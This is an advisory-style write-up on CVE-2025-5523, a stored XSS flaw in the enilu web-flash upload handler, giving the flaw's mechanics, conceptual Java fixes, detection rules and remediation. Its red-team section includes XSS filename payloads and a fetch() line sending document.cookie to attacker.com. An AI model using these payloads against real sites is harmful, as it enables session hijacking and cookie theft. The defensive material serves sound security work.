CVE-2025-5523

Executive Summary

CVE-2025-5523 is a Cross-Site Scripting (XSS) vulnerability identified in the enilu web-flash application, version 1.0. The flaw resides in the file upload functionality, specifically within the FileController.upload method. An attacker can exploit this by manipulating the File argument to inject malicious scripts. The vulnerability is remotely exploitable and has a public proof-of-concept (PoC), increasing the risk of active exploitation. No official patch is currently available, making this a high-priority issue for any organization using this software.

Supply Chain & Package Security

This vulnerability affects the enilu web-flash application, which is a Java-based web framework. While not a direct package manager dependency (like NPM or PyPI), the application may be distributed via Maven or as a standalone JAR. Organizations should verify if they are using this component and treat it as a critical supply chain risk due to the lack of a patch.

CVSS Breakdown & Threat Level

The official CVSS score is 0.0, indicating that the vendor has not yet assigned a score. Based on the vulnerability characteristics, a reasonable estimated score is 6.1 (Medium) with the following vector:

• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must click or interact with the malicious file.
• Scope (S): Changed (C) – The injected script can affect other resources.
• Confidentiality (C): Low (L) – Potential data theft via script.
• Integrity (I): Low (L) – Script can modify content.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. The public PoC and lack of patch elevate the risk.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the file upload handler. The FileController.upload method in src/main/java/cn/enilu/flash/api/controller/FileController/upload does not properly sanitize the filename or file content. An attacker can upload a file with a malicious filename containing JavaScript (e.g., <script>alert('XSS')</script>.txt). When the application later displays or processes this filename, the script executes in the victim's browser.

Root Cause: Insufficient input validation and output encoding. The application likely uses the filename directly in HTML responses without escaping special characters.

Attack Flow:

1. Attacker crafts a file with a malicious filename (e.g., "><img src=x onerror=alert(1)>.txt).
2. Attacker uploads the file via the /upload endpoint.
3. The application stores the file and returns the filename in a response or displays it in an admin panel.
4. Victim views the page containing the filename, triggering the XSS payload.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (Conceptual):

// FileController.java
@PostMapping("/upload")
public String upload(@RequestParam("file") MultipartFile file) {
    String filename = file.getOriginalFilename();
    // Store file...
    return "File uploaded: " + filename; // Directly returns filename without encoding
}

Patched Code (Conceptual):

// FileController.java
import org.springframework.web.util.HtmlUtils;

@PostMapping("/upload")
public String upload(@RequestParam("file") MultipartFile file) {
    String filename = file.getOriginalFilename();
    // Sanitize filename - remove or encode HTML special characters
    String safeFilename = HtmlUtils.htmlEscape(filename);
    // Store file...
    return "File uploaded: " + safeFilename; // Encoded output
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of enilu web-flash 1.0.
• Access to the file upload endpoint (e.g., http://target.com/upload).

Exploit Steps:

1. Create a file with a malicious filename. For example, rename a harmless text file to:

   <script>alert(document.cookie)</script>.txt
   

2. Upload the file using a tool like curl:

   curl -F "file=@malicious.txt" http://target.com/upload
   

3. The server will respond with the filename. If the application displays uploaded files in a list, any user viewing that list will execute the script.

Advanced Payload:

"><img src=x onerror=fetch('http://attacker.com/steal?cookie='+document.cookie)>.txt

Blue Team (Defensive)

Detection:

• Monitor file upload logs for filenames containing HTML tags or JavaScript.
• Use a Web Application Firewall (WAF) to block uploads with suspicious filenames.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Honeypot:

• Deploy a fake upload endpoint that logs all filenames and alerts on suspicious patterns.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /upload with filenames containing <, >, script, onerror, etc.
• File System: Files with names containing HTML/JavaScript in the upload directory.
• Logs: Server logs showing filenames with encoded or raw HTML tags.
• Behavior: Unexpected JavaScript execution in browsers accessing the file list page.

Detection Engineering

YARA Rule

rule CVE_2025_5523_XSS_Filename {
    meta:
        description = "Detects malicious filenames used in CVE-2025-5523 XSS attack"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-5523"
    strings:
        $xss1 = /<[^>]*script[^>]*>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-5523 XSS via File Upload
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to file upload endpoints with suspicious filenames
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/upload'
        cs-uri-query|re: '(<|>|script|onerror|onload|javascript)'
    condition: selection
falsepositives:
    - Legitimate filenames containing these strings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-5523 XSS File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/upload"; http_uri; pcre:"/(<|>|script|onerror|onload|javascript)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable file upload functionality if not critical to business operations.
2. Implement input validation – Reject filenames containing <, >, &, ", ', or any HTML special characters.
3. Apply output encoding – Use HtmlUtils.htmlEscape() or similar to encode filenames before displaying them.
4. Deploy a WAF with rules to block XSS payloads in file uploads.

Long-Term Fix:

• The vendor (enilu) must release a patched version that sanitizes filenames and file content.
• Consider migrating to a maintained alternative if no patch is forthcoming.

Valters IT – DevSecOps & Cyber Threat Intelligence.